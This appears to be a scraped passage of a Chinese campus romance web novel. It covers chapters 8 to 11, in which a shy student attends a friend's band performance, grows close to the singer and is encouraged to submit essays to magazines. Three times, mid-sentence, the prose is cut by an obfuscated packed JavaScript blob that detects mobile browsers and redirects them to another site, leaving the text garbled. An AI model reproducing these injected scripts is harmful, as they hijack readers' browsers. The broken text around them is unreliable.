那天以后，舒言陪许愿、许茉两姐妹去物理办公室的次数便多了起来。 每次去办公室的时候，舒言都会主动请教物理老师一个问题，持续一周下来学习物理时也越来越有信心。 来回的路上避免不了从17班教室前经过，偶尔运气不错时，她也会看到谢玙。 有时候是看见他趴在桌上睡觉，头发还冒了一小撮；有时候是撞见他勾肩搭背的在和同学说笑，说到有趣的地方还会笑出声来；有时候是看到他在翻书，那本书她碰巧也有；有时候是瞥见他在拨弄吉他，好像怀里是什么珍贵的宝贝…… 甚至有一次他和同学出来上厕所，舒言差点就和他迎面撞上。 她身体不受控制地往后仰，而他绅士地拉了她一把，然后又扭头继续和同学说话。 舒言不确定他是还记得自己，就连那句藏了很久的谢谢也一直没有机会说出口。 …… 一转眼又到了周五，这周又迎来了双休。 舒言和所有高中生一样都渴望放假，但是却不太想回家。 她在想要是能够快点长大就好了，长大后的世界是不是会更容易一些呢。 下课后她慢吞吞地收拾书包，像是在尽可能的拖延时间。 蔡妙妙的爸妈已经来校门口等着接她了，她背着书包和舒言挥手说再见，语气轻快：“言言，拜拜，周天见。” 舒言微笑回应：“拜拜，周天见。” 又过了几分钟，教室里的人差不多都走光了。 陈质见她一副不着急的样子，好奇地多问了一句：“你怎么不着急回家啊。” 舒言随口编了个理由，说想避开高峰期。 她礼貌地回问：“你呢，不回家吗？” 陈质摇摇头，“我家比较远，一般只有像五一端午这样的节假日才回。” 舒言了然地点头。 经他这么一说，舒言记起来了。 陈质、王远还有唐临都是来自宁都的，他们三关系特好，又是舍友，听说他们三家境都挺不错，一到周末都会出去挥霍一番，所以班上的同学私下称他们为“宁都三少”。 舒言背上书包：“我走了，拜拜，周末快乐。” 陈质笑着和她挥手，左脸的酒窝很明显，“好，周末愉快。” 舒言的家里离学校并不远，大概十分钟左右的路程。 等她站在家门口前时，深吸了一口气后才拿出钥匙开了门。 家里冷冷清清的，陈岚应该是带着舒连溪去外面玩了。 舒言反而松了口气。 要是陈岚在家，免不了又会主动关心她的成绩。 可除了成绩，她好像什么也不关心。 陈岚没发现她的保暖衣已经小了，没发现她的校服袖口破了，也没发现她上周回家的时候其实在发烧…… 她的注意力几乎都集中在舒连溪身上。 可舒言又避免不了在想，她小的时候，陈岚是不是也是这么关心爱护她，是不是也经常把她抱在怀里逗弄…… 回到房间后，她把书包往桌上一放，就直接躺在了床上。 身下的棉被好似柔软的怀抱，温柔的把她抱在了怀里，她有些贪恋的深陷在里面。 或许是因为太累了，迷迷糊糊间，舒言竟然沉沉睡了过去。 等她醒来时，发现已经到了晚上八点。 房间内漆黑一片，只有从窗帘透进来的点点光亮。 舒言摸黑起来开了灯。 外面依旧安静得很，听上去不像是有人回来了。 舒言拿出手机一看，果然有好几个陈岚的未接电话。 许是她没接，陈岚又给她发了短信。 说是今晚不回来了，带着舒连溪去外婆家里了，让她自己看着煮点啥吃。 这样的情形，舒言早就已经习惯了。 她不会做饭，只会给自己简单煮个面条什么的。 等吃完后，舒言就回了自己房间。 时间还不到9点，她打算先写会作业。 这周剩的作业不算太多，她现在做题的速度也提升了很多。 直到11点，这周的作业就只剩下了一个语文作文了，她打算明天再写。 舒言伸手揉了揉发涩的眼睛，又捏了捏酸软的脖子，然后拿出了手机。 摁亮屏幕后，她的眸光落在上面的Q.Q图标上。 她的Q.Q号还是许漫前两周刚给她申请的，里面的好友也很少，只有关系比较好的几个朋友。 她刚登进Q.Q就看见许漫在给她发消息。 【一只猫】：舒言，明天你有时间吗？ 【舒】：明天应该有吧。 【一只猫】：太好了，明天我们一起去看乐队演出吧。 【舒】：嗯？ 【一只猫】：嘻嘻，就是你还记得我那两个玩乐队的朋友吗？ 玩乐队的朋友吗…… 【一只猫】：就是谢玙和何昭，不知道你还有没有印象。明天是他们乐队的第一次演出，何昭邀请我去，我想着叫上你一起去。 舒言的指尖在按键上停留了片刻，内心有些纠结，不知道该怎么回复她。 【一只猫】：你就陪我一起去嘛，反正就当凑个热闹。 【一只猫】：拜托啦，不然我一个人去很尴尬的，而且明天他们还会唱林菲的歌哦。 说实话，舒言是心动了的。 【舒】：演出是什么时候呢。 【一只猫】：明天晚上6点，听说是在一个院子里面，估计观众也不多。我们就当过去给他们捧捧场，好不好？ 【舒】：行，明天我和你一起去。只是我去会不会很尴尬……毕竟他们并没有邀请我。 【一只猫】：哎呀，不会的。他们肯定会欢迎你的，这样吧，我现在和何昭说一声。 【舒】：好。 没过多久许漫就回复她了。 【一只猫】：何昭说热烈欢迎文坛巨星前来指导。 【舒】：…… 【一只猫】：哈哈哈哈，真的笑死我了。他还说自己是你的迷弟，要你明天顺便教他写一下作文。 舒言没想到何昭居然知道自己，只是教写作文什么的是认真的吗…… 【舒】：他认识我吗？ 【一只猫】：呵呵，美女他都记得。而且宝贝你在我们年级真的很有名啊，谁不知道高一3班有个作文天才啊，你很优秀的，宝贝。 舒言还是第一次听说这些事，能够得到别人的赞美，她心里自然也是很高兴的。 【舒】：谢谢你，漫漫。 【一只猫】：嘿嘿，人家只是实话实说嘛。你真的是我见过的最认真的女孩了，你努力到有时候看见你在学习，我都不好意思玩。哎呀哎呀，反正你就是超级棒，而且肯定会越来越好的！ 舒言胸腔里流淌着一股暖意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236196|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她想自己还是幸运的，能够认识这么好的室友。 又和许漫聊了几句，舒言就去洗漱了。 入睡前，舒言内心难免有些期待明天的乐队演出。 她想明天一定会是个晴天吧。 — 第二天果然是个万里无云的艳阳天。 舒言早上打算去图书馆看书学习。 图书馆里面人多，比较有学习氛围，而且还有很多参考资料。 她今天除了要把语文老师布置的作文写了，还要写一篇文章拿去报社投稿。 这一期的校报学姐直接交给她全权负责，也算是对她的一次小小考验。 上周舒言就收到了一些同学的投稿，里面有几篇写得还挺不错，她已经筛出来了，打算下周交给专门负责校报的老师。 在图书馆学习的效率很高，她一个上午就搞定了两篇文章。 回去的路上舒言又专门绕路去书店买了本理综题集，之前买的题目她都已经做完了。 到家以后，舒言发现陈岚他们已经回来了，就连很久没见到的舒庆坤也在家。 太久没见舒庆坤，她有点生疏地打招呼：“爸，妈，我回来了。” 听见她的声音，舒庆坤这才把视线从舒连溪身上转向她。 舒庆坤神色平淡，并没有许久未见女儿的喜悦。 他问：“上午出去了啊。” 舒言弯腰在换鞋，“嗯，去图书馆学习了。” 舒庆坤点点头，拍了拍怀里的儿子，“听你妈妈说上次月考你进步了很多。” 舒言有些不自在地捏了捏手，声音低低的，“还好，考进了前三百名而已。” 舒庆坤脸上终于露出点笑意，“有进步就行，去洗手吧，马上吃饭了。” 舒言说好。 洗完手出来，陈岚已经把菜全部端出来了。 一坐下，陈岚就忙着给舒连溪夹菜，全程视线没离开过他。 舒庆坤也笑嘻嘻地逗弄着这个小儿子。 舒言看着眼前的饭菜，有些没滋没味地吃着。 这样的场景对她实在有些煎熬，她快速地扒了几口饭，试探着开口：爸，妈，我今天晚上想出去……” 她原本想说出去和朋友玩，但是想了想还是决定不这样说，不然计划多半会泡汤。 陈岚这才扫了她一眼：“想去哪？” 舒言快速眨了下眼睛，“我想和朋友一起出去……上自习。” 一听是去学习，陈岚也没阻拦，只说让她记得早点回来。 舒言点头记下。 下午她就在房间躺着看书，客厅里传来动画片的声音还有时不时的嬉闹声，弄得她心情有点烦躁。 她干脆从床上起来，打开衣柜挑选晚上要穿的衣服。 毕竟是去听别人演出，还是穿得漂亮一点吧。 她衣柜里的衣服并不多，挑来挑去也就那么几件。 舒言最后选了条白色的长裙穿上，怕晚上冷，又在外面加了个牛仔外套。 她又对着镜子整理了一下头发，拿上包提前出了门。 她给许漫打了电话，许漫说待会就来找她。 舒言坐在公交车站等她，等许漫到的时候，舒言腿上被蚊子咬了好几个包，有点痒痒的，不过她没再在意。 两人一起坐公交去了乐队演出的地方。 下车后，远远就看见有两个男生在朝她们走来。 9. 第9章 何昭几乎是一路小跑过来的，而被他甩在身后的谢玙倒是不慌不忙，悠闲漫步跟了过来。 何昭一脸热情地和她们打招呼，“你们来啦，就等你们了。” 许漫兴奋地挥了挥手：“哈喽哈喽，我们来啦。” 舒言也礼貌地笑笑，“你们好，我是舒言。” 何昭在看见她的时候，明显眼前一亮，刚想说什么，却被某人捷足先登。 谢玙挤身挡在何昭面前，带着不容忽视的强大存在感。 “正式认识一下，我叫谢玙。” 少年低磁好听的嗓音落入耳中，像被人用羽毛轻挠了下耳朵。 舒言的注意力自然而然地落在了他身上。 谢玙穿着简单的白体恤和黑色休闲裤，外面随意套了个黑色的薄外套，许是觉得热，就没拉拉链，往那一站，整个人身高腿长，他今天应该还特意弄了下发型，气质清爽干净，少年感扑面而来。 在他直勾勾的注视下，舒言脑海里自动回放他刚才那句话—— 正式认识一下。 所以他的意思是……他其实一直知道自己，记得自己吗？ 意味不明的话语让舒言很难不这么想，就连看向他的眼神都忍不住多了丝期待。 清风徐徐，吹得头顶上面的树叶沙沙作响，空气里有淡淡的花香，味道很好闻。 这两日憋在心里的压抑和烦闷好像也被巷子里的风吹散了，取而代之的是内心深处悄然滋生的不知名情愫。 她攥紧手指，仰起头大方的和他介绍自己：“你好，我叫舒言。” “很高兴今天能来听你们乐队的演出。” 谢玙的视线一直停留在她身上，他勾勾唇：“欢迎你。” 顿了下，又说：“我们的荣幸。” “我我我，还有我。”何昭赶紧插话，从谢玙身后探出头来，讪笑一声，“我叫何昭，不知道舒言同学还有印象吗？” 许漫直接把他脑袋推了回去，“去去去，离我家舒言远点，人家凭什么要记住你，你以为谁都像谢玙这样长了张英俊帅气的脸庞吗？” 何昭：“……” 靠，又被打击了。 他不服气地撇嘴，“呵呵呵，我可是我们乐队的门面，我就要说，我叫何昭我叫何昭……我就不信舒言同学还记不住我。” 许漫成功被他的举动逗笑，“何昭，你还要不要脸啊，幼稚鬼。” 谢玙一脸无语地看着他，那眼神多少带点鄙夷。 舒言倒是忍俊不禁，“叫我舒言就可以了。” 何昭见她愿意搭理自己，立马变得乐呵呵的，“好勒好嘞，舒言同学。” 舒言：“……” 谢玙轻扯了下唇角，提醒道：“走吧，我们先回去。” 许漫：“走吧走吧。” 几个人来到一个很大的庭院面前，推开一个小木门就进了院子，里面宽敞又干净，院子里有两棵高大的槐树，旁边搭了一个小小的舞台。 听见开门的声音，从屋子里出来了两个人，一男一女。 他们一前一后的端着盘子，小心把盘子放在了外面的桌子上。 穿着黑色夹克的男生回头对他们说：“你们终于回来了，烧烤的材料都准备好了。” 何昭凑了过去，看见桌上摆满了吃的，忍不住赞叹，“哇，梁霄云，梁潇雨，你们两兄妹可真行。” 旁边的女生得意一笑，“何昭，里面还有呢，绝对够你吃的。” 何昭一听眼睛都亮了，赶紧跑了进去，“我来帮忙。” 谢玙侧身和她们解释：“时间还早，先一起吃点东西。” 他带着她们入座，又给她们一人倒了杯水，“你们先坐一会儿，待会就可以吃了。” 看见这么多好吃的，许漫自然是很难拒绝的，赶紧拉着舒言一起坐下，好奇地环视着周围的一切。 舒言安静坐着，也在观察这个庭院，没想到这里居然有她喜欢的槐花。 记得小的时候，她经常缠着爷爷给自己做槐花饭，那滋味清香无比，让人魂牵梦萦。 谢玙就站在一旁，他拿出手机回复了几条消息，眼神一瞟，忽然注意到什么，直接转身进了屋，没一会儿就从里面出来了，手上还拿着什么东西。 他停在舒言面前，把手里的花露水递给她，“刚才看见你脚踝被蚊子咬了，喷点吧。” 许漫惊讶地“啊”一声，“舒言，你什么时候被蚊子咬了啊。” 舒言解释说是在等车的时候。 她感激地接过来：“谢谢。”往上拉了下裙摆，上面好几个红肿的蚊子包，没想到他居然留意到了，心口顿时觉得暖暖的。 舒言喷花露水的时候，谢玙又蹲下来在旁边点了蚊香。 他仰头看她，眸中闪过一丝笑意：“条件可能有点艰苦，尽量克服一下？” 舒言不在意笑笑：“没关系的，喷了花露水应该还好。” 谢玙点点头，又垂首继续回复消息，余光却一直在留意她的周围。 …… 梁霄云显然是熟手，他一个人看管着烧烤架，大把的肉串被烤得滋滋冒油，焦香四溢，香味刺激着每一个人的味蕾，最后再洒上辣椒面和葱花，就可以开吃了。 他倾身把一大把肉串往盘子里一放，很快就被大家一抢而光。 舒言也拿了一串，牛肉被烤得恰到好处，一口咬下去唇齿留香，味道完全不输给外面卖的。 何昭吃了一口就被惊艳到了，朝梁霄云竖起大拇指，“霄云，这也太好吃了吧，以后封你为我们乐队的厨神。” 梁霄云爽朗一笑，“好吃就多吃点。” 梁潇雨圆鼓鼓的眼睛打量着坐在对面的舒言和许漫，像是对她们非常好奇。 她单身支着下巴，眼巴巴看向谢玙，“阿玙，不介绍给我们认识一下吗？” 谢玙用纸擦了擦嘴，又喝了口水，给舒言她们介绍道：“这是我们乐队的键盘手，梁潇雨，烤烧烤那个是他哥，乐队的贝斯手，梁霄云。他们是我从小一起长大的朋友。” 旋即又对梁潇雨说：“坐你对面的是许漫，我和何昭的小学同学，另一位……” 他停顿了一下，似乎在思考该怎么介绍舒言。 舒言主动顺着他的话往下说：“我叫舒言，是许漫的室友。” 梁潇雨若有所思地点点头，“哦哦，原来如此，也就是说你是阿玙朋友的朋友，是这个意思吧，我没理解错的话……” 朋友的朋友。 舒言愣了几秒，她说得倒也没错。 他们确实是……这样的关系。 舒言也没觉得这有什么，大方承认：“是这样的。” 坐在对面的谢玙默默看了她一眼，修长的手指在纸杯杯身摩挲。 闻言，梁潇雨像是觉得有些新奇好玩，眼神热切地盯着她看：“不过……你长得真的好漂亮啊。” 巴掌大的小脸，眼睛却大大的，睫毛浓密纤长，皮肤也很白，整个人看上去温温柔柔，很有书卷气，就和院子里在枝头绽放的白槐花一样，香气清雅却不寡淡。 听见她的赞美，舒言也只是轻笑了下，“谢谢。” 何昭嘿嘿一笑，“这你就有所不知了吧，舒言同学不仅是长得漂亮，人家的语文作文写得更是漂亮，每次考试作文都是年级最高分。” 梁潇雨感到有些意外，眼里对她的欣赏又多了几分，“哇，你好厉害啊，这么漂亮还这么优秀。” 何昭咬了一口串，他看向舒言，口齿不清地说：“我真是好奇，舒言同学，你是不是吃作文书长大的啊，不然怎么这么会写。” 舒言被他的话呛了一下，咳得眼泪都出来了，面红耳赤的。 许漫赶紧拍拍她的背，帮她顺气。 谢玙直接在桌上踢了何昭一脚，他往杯子里倒满水递给她，“喝口水缓缓。” “谢谢。” 舒言接过后喝了两口，这才缓了过来。 何昭抱歉地双手合十，“啊，舒言同学，对不起，我不是故意的。” “我其实就是想请教你一下，作文到底要怎么写。” 这会儿舒言的眼睛还有些湿漉漉的，眼眶也红红的，像只惹人怜爱的小兔子，“没关系，我其实没什么特别的方法，就是平时多看书多积累素材，再多写写吧。” 她说的确实是她自己觉得比较有用的方法，只是写作这件事情很难一蹴而就，比较考验一个人的底蕴和积累。 何昭似懂非懂地点点头，“害，不管了，先吃饱再说。” 看舒言没怎么吃东西，谢玙不动声色地往她盘子里夹了些吃的，然后起身和梁霄云交换位置，“我来烤，你过去吃。” 梁霄云也没推辞，“谢谢阿玙。” 几个人一边吃烧烤一边有一搭没一搭的聊着天。 过了会儿，梁潇雨突然说：“我想吃烤棉花糖。” 她喊着：“阿玙，帮我烤一下。” 谢玙蹙了下眉，只说：“我不会，让你哥来。” 梁潇雨却不依，试图和他撒娇，“阿玙，你就帮我烤一下嘛， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236197|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好不好？” 女孩的声音娇俏悦耳，此刻更是刻意压低了声音，带了丝软绵的嗲意，让人难以拒绝。 在场的人脸上多少带了点看戏的兴味。 不知怎的，舒言也下意识地看向了谢玙，想看看他什么反应，后者却是面无表情地拒绝了。 “不好，要么自己来，要么让你哥来。” 梁潇雨瘪了瘪嘴，嘴里嘟囔了一句：“还真是冷漠无情。” 她们兄妹从小和谢玙一起长大，明明关系应该是很亲近的，只是谢玙这个人待谁都带着几分礼貌和疏离，看似温和有礼，但其实谁都不能真正接近他。 梁霄云舍不得看见妹妹这副受委屈的模样，立马说：“我来我来，我马上给你烤。” 谢玙又坐回了原来的位置，他拿起杯子喝了一口茶水，把餐盘往舒言的方向推了推。 很自然的口吻，“再多吃点，刚烤好的，味道很不错。” 舒言慢吞吞地抬起头，正好撞进他温柔的琥珀色眼眸，这才反应过来他是在和自己说话。 她轻嗯了一声，礼尚往来：“你也是，多吃点。” 谢玙盯着她看了几秒，没忍住轻笑了下。 “我已经吃饱了，你慢慢吃。” 他刚才喝水的时候就发现，舒言吃饭的时候很像他外公养的那只猫，小口小口的，不过还挺有趣。 吃完饭后，男生们负责收拾餐桌，而几个女生则是在旁边编槐花手串。 今天晚上的演出虽然只有他们几个人，但毕竟是他们乐队的第一次演出，所以还是要准备一些有氛围感的小物件。 这槐花手串就是给观众准备的应援礼。 梁潇雨：“这是我哥他们爬树摘下来的呢。” 相互给对方戴上手串以后，许漫没忍住凑近轻嗅。 “好香啊。” 舒言也闻了闻，她很喜欢槐花，虽然小朵不起眼，却雅致清新，默默散发着香气。 等男生们收拾完以后，太阳早已被暮色吞噬，只剩下一道残阳挂在天边，像剥掉外皮的橘子瓣一样。 谢玙他们已经在台上调试设备，舒言和许漫则是静静地坐在台下等待他们。 很快他们就正式站上了舞台，何昭一收往日嬉皮笑脸的模样，举着话筒高声问：“观众朋友们，今天晚上的演出马上就要开始了，你们准备好了吗？” “wow……”许漫很给面子的大声欢呼，“我准备好了。” “那这位美丽的女士呢？”何昭又将话筒对准舒言。 舒言双手呈喇叭状，配合他：“准备好了。” 何昭：“那今天晚上的演出就正式开始了，下面请允许我为大家介绍我们的乐队。” “我们的乐队名字是——” 台上的几个人一起齐声喊到：“春天里。” 谢玙握住话筒，舞台上的他眉眼间多了几分锐利和张扬，“那么下面我们为大家带来一首我们乐队的原创歌曲《春天里》。” 掌声响起的那刻，音乐声也随之响了起来。 “你总在寻找记忆里那个春天 其实呀 春天早就降临在你的身边 它可以是喧闹的浪漫的 也可以是沉默的平凡的 …………” 谢玙干净清透的嗓音与撩人心弦的旋律完美融合，交织成美妙动人的音乐。 台上的少年少女们卖力认真地表演着，用尽他们全部的热情，哪怕台下只有两个观众。 院子里不知道什么时候飞来几只萤火虫，像是也被他们的歌声吸引了一样，在舞台前方打转。 在这个方寸之地，一个简陋的舞台上，哪怕底下掌声稀疏，他们也在用自己最大的热忱去支撑自己热烈而滚烫的梦想，去告别平凡又渺小的身躯。 舒言跟随节奏晃动着双腿。 她好像醉在了他的歌声里，连身体都变得轻飘飘的，安逸和舒适席卷了四肢百骸，整个人前所未有的轻松。 她的目光和台上的谢玙对上，漆黑的瞳孔里映着少年跳动的黑色发丝，那双隐匿在暮色里的眼眸明亮而深邃，几颗浑浊的汗珠顺着他的下颌滚落。 舒言忽然轻轻地笑了，内心深处仿佛有什么声音在疯狂叫嚣，力量大到可以穿透她的心脏。 她朝他摇了摇手上的槐花手串。 她知道有一天他们肯定会站上更大的舞台，台下会坐满黑压压一片的歌迷，而她也会成为他们万千听众里的某某。 但在这一刻，她是他们最忠实的听众。 10. 第10章 等到台上的表演结束，院子里亮了灯，空气里还浮动着狂欢的躁动，久久不散。 台上的少男少女们兴高采烈地欢呼，尖叫声、呐喊声杂糅在一起，舒言才从这场精彩的演出中回过神来。 许漫直接冲上台和他们拥抱在一起。 放好吉他后，谢玙从台上一跃而下，几个跨步来到她身旁坐下。 舒言立马正襟危坐，双手有些不自然地交握在身前。 余光里，少年额前的碎发早已被汗水浸湿，他拽了拽体恤的领口透气，细微的喘气声在她耳边响起。 舒言默默给他递上纸巾和水，毫不吝啬地夸赞：“你们刚才很棒。” 谢玙接了过来，先是拧开瓶盖咕噜咕噜喝掉大半瓶水，然后才开始擦脸上的汗。 他侧目盯着女孩莹白的脸庞，喉结情不自禁地滚动了下，心情看上去很不错：“谢谢。” 在舒言以为他们的对话已经结束时，又听见他说：“听许漫说你喜欢林菲？” “是的。”提到自己喜欢的歌手，舒言眼里难免多了几分欢欣，“她每首歌都很好听。” “那你觉得我刚才把她的歌唱得怎么样？” “啊？”舒言没想到他会这么问，她认真思考了几秒，然后说：“很好听。” “是吗？” 舒言想也没想地说：“当然。” 她是真的认为他唱得很好听，在唱歌这方面，他显然很有天赋。 像是怕他不信，舒言干脆偏过头去看他，却发现他正目光如炬地看着自己。 她想要是离得再近一点，是不是就能在他的眼眸中清晰地看见自己的模样。 被他这样盯着看，舒言觉得脸有点发热，又有些紧张地移开了目光。 少年从喉间溢出一丝愉悦的轻笑，“你喜欢就好。” 没一会儿，其他人也从台上下来了。 何昭冲到他们面前，笑嘻嘻地说：“你俩刚才背着我们说什么悄悄话呢。” 梁潇雨也笑：“就是啊，我也看到了。” 谢玙抬眸扫了他们一眼，“好意”提醒道：“刚才在台上你们……” 何昭：“啊，我还有点事，你们继续。” 梁潇雨也转了转眼珠子，“我也还有事，我先走了，我什么都没看到。” 说完两人直接开溜，毕竟刚才在台上他们又犯了些低级错误，要是留下来不知道又要受些什么惩罚。 许漫坐在舒言身边和她说话。 梁霄云和谢玙在一旁讨论刚才表演的细节。 过了几分钟，何昭和梁潇雨又重新回来了，大家坐成一圈在聊天。 何昭有些心虚地说：“我觉得刚才我们表现得都挺好的啊。” 梁潇雨附和道：“就是就是，第一次嘛，能够这样已经不容易了。” 梁霄云宠溺地看着妹妹，温柔摸摸她的脑袋，“我们潇雨表现得很好。” 许漫：“你们已经很棒了，慢慢来嘛，以后多的是舞台，你们以后肯定可以站上更大的舞台。” 话音一落，几个人意外陷入了沉默。 梁潇雨抬头看着天空上稀疏的星星，眼里盛着稀碎的光，“希望吧。” 她有些憧憬地说：“我希望春天里乐队可以被更多的人知道，我希望台下能够坐满我们的观众，我希望我的哥哥还有朋友们能够被很多人喜欢……” 听着她的话，梁霄云眸中闪过一丝心疼，不过很快被他压了下去。 “会的，我的傻妹妹，我们都会越来越好的。” 谢玙蹙了下眉，声色清冷又坚定：“我们会一起站上更大的舞台。” 何昭：“对，我们会一起。” 现场的气氛明显有些不对劲，舒言敏感地捕捉到什么，不过也没有多问。 毕竟每个人都有自己的秘密。 何昭低下头看了一眼手机，“快九点了啊。”他看向许漫询问：“你们需要早点回家吗？” 许漫轻“嗯”了一声，“确实该回去了。” “那舒言我们走吧。” 舒言低头拿起包：“好。” 在她们刚要站起来的时候，何昭忽然喊了一声：“对了，等一下。” 他抬手碰了下鼻子，“那个，舒言同学，能不能加个你的Q.Q，你放心我没有别的意思，只是后面如果有演出，方便叫你出来一起玩。” 舒言拿出手机，“可以的。”然后和他报了自己的Q.Q号。 梁潇雨和梁霄云也拿出手机顺便点了添加好友。 加上好友后，何昭又不死心地问了一句：“还有一件事，以后可以向你请教作文怎么写吗？” 他是打心底佩服舒言，想知道写作文到底有什么秘诀，主要是他那个作文吧，就难得有几次不偏题。 许漫直接一把拉走舒言，“自己买作文书看去，作文书怎么写的你就咋写。” 何昭：“……” 委屈巴巴地看着舒言。 舒言想了想，说：“后面我可以把我的作文书借给你，今天我们就先走了，谢谢你们的款待。” 何昭一听这才露出了笑脸，“好好好。” 许漫打了个哈欠：“谢谢款待，拜拜。” 梁潇雨挥了挥手：“欢迎下次再来。” 在她们准备离开的时候，刚才一直没出声的谢玙突然开口。 “有点晚了，我送你们回去。” “等我换件衣服，马上。”说完他就转身快步进了屋子，等出来的时候已经换了件暗灰色的运动外套。 他停在舒言她们面前，“走吧。” 许漫原本想说不用了，但想到舒言的家比自己远，就接受了他的好意。 去公交车站的路上，谢玙单手插在兜里走在前面，舒言和许漫则是默默跟在他身后。 一路上大家都没怎么说话。 舒言和许漫的家在一个方向上，没坐几个站许漫就下了车。 原本这个时间点，坐公交车的人并不多，谁知道停在某个商场前的公交站后，突然涌上来一群人。 上车的人手上都提着大包小包，从他们的三言两句中听出来原来是超市今晚在打折。 公交车里的空间一下就变得狭小起来，站在前面的人突然往后挤，舒言一个没站稳，不受控制地往后仰了下。 “小心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236198|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 慌乱之中，她的手腕被人隔着衣物牢牢抓住。 确认她站稳后，谢玙这才迅速松开了手。 舒言的目光所及是他突起的喉结，暗灰色的领口沉得他肤色冷白，她有些不自在地看向别处，“谢谢。” 谢玙低头看了她一眼，说：“不客气。” 又是一阵良久的沉默。 舒言很少和男生单独相处，所以也不知道该说些什么，只能一直看着车窗外一闪而过的建筑物。 可她又实在想和他聊点什么，毕竟这样的机会实在难得。 她在脑海里飞快找着话题，可又都被她一一否决了。 舒言头一次觉得原来聊天是这么难的一件事，她能够写出满分的作文，却想不出一个合适有趣的话题，能够让他们聊上一聊，让他觉得自己也是一个风趣幽默的人。 然而眼前的少年并不知道她内心的天人交战，只默默关注着她的周围，时不时又看一眼窗外。 就这样静默着又坐了几站，就到了舒言要下车的地方。 下车以后，她指了指不远处的小区，“送到这里就可以了，我家就住在附近，谢谢你送我回来。” 谢玙说了声好，想起什么又说：“何昭这人话比较多，他给你发消息，你要是觉得烦了，可以直接不回。” 舒言没想到他这么细心，“嗯，我知道的，已经很晚了，你快回去吧。” 谢玙往她身后的方向看了眼：“行。” “对了，谢玙。”在他转身之际，舒言鼓起勇气第一次喊了他的名字，“那次……谢谢你。” 谢玙停下来回望她，清俊优越的眉骨暴露在昏暗的路灯里，他并未追问她什么，只说：“不用谢。” 虽然两人并未挑明是什么事情，可又仿佛心照不宣般，有一种微妙的默契感。 ……就好像他们认识了很久一样。 谢玙拢了下衣领，“那我走了。” 舒言和他挥手，“好，路上注意安全。” 等舒言到家以后，陈岚他们已经上床睡觉了。 她轻手轻脚地回到房间放好东西，然后出去洗漱。 等收拾完后，舒言躺在床上发出了一声满足的喟叹。 她好像很久没有这么开心过了。 第一次和他一起吃饭、第一次听他们乐队的演出、他第一次送自己回家…… 脑海里不断涌现今晚那些美好的画面，可最后脑海里却只剩下那张清晰无比的脸庞。 也不知道下次又是什么时候能和他说上话，舒言有些出神地想着。 可这样令人惊艳的人，或许相识一场已经是最大的幸运了。 睡觉前，舒言习惯性打开Q.Q看看有没有新消息没回复，却意外发现有一个新的好友申请。 可今晚的好友申请她似乎全都通过了的，还会有谁来加她。 难道…… 她指尖微颤，带着某种微乎其微的希冀点了进去。 出现在新的好友界面的那人，昵称是一个简单的字母X，而下面的好友验证赫然写着—— 你好，我是谢玙。 他来加她的好友了。 11. 第11章 舒言想也没想的点了同意。 下一秒，他就躺在了她的好友列表里。 一种难以言明的满足感，像是无意间收获了什么珍贵的宝贝。 舒言轻轻戳了一下他的头像。 他的头像底色是黑色的，中央有一轮清瘦的弯月，看上去冷冷清清的。 不过倒像是他的风格。 她盯着两人空空如也的对话框里，想着刚加上好友好像至少应该说两句吧。 于是给他发了条打招呼的消息，也没啥，就简单的一个“嗨。” 没想到对面很快回复她。 【X】：还没睡？ 【舒】：打算要睡了。 【X】：嗯[月亮] 舒言回复了一个同样的表情。 她又盯着手机看了一会儿，见没有消息再发过来就退出了Q.Q。 …… 新的一周开始。 舒言把初选出来的文章交给了专门负责报社的老师。 结果下午的时候冉华容告诉她，报社的秦老师让她下午吃过饭后去找她一下，有重要的事情要说。 舒言应下说好。 一直专门负责报社的老师其实是现在高二年级的语文老师秦梦。 下午舒言到的时候，秦梦正坐在办公桌前看稿子。 见她来了，秦梦笑着招呼她过去。 舒言礼貌问好：“秦老师。” 秦梦微笑点头：“嗯，你坐下我们再说。” “好。” 等舒言坐下后，秦梦把她周末写的那篇稿子放在她面前。 秦梦问：“你觉得自己这篇稿子写的怎么样？” 在写作这块，舒言向来还是很有自信的：“感觉还不错。” 秦梦点点头，“谦虚了哈，是相当不错，其实今天找你来也是有些话想和你说。” “你这篇稿子我读了好几遍，非常有灵气，文笔清新脱俗，行云流水，说实话只投在校报上是屈才了。” “你有没有想过往一些杂志社投稿呢？” “市面上有一些比较年轻化的杂志，像《绘青春》《青年文学》之类的，你的文章都比较适合发表在上面……” 没想到竟然是这件事，舒言有一瞬间征愣。 见她没出声，秦梦又说：“其实我和好多杂志社的主编都认识，我可以给他们内推你的文章，你的文章值得让更多人看到，而且你也可以获得一笔不错的稿费……” 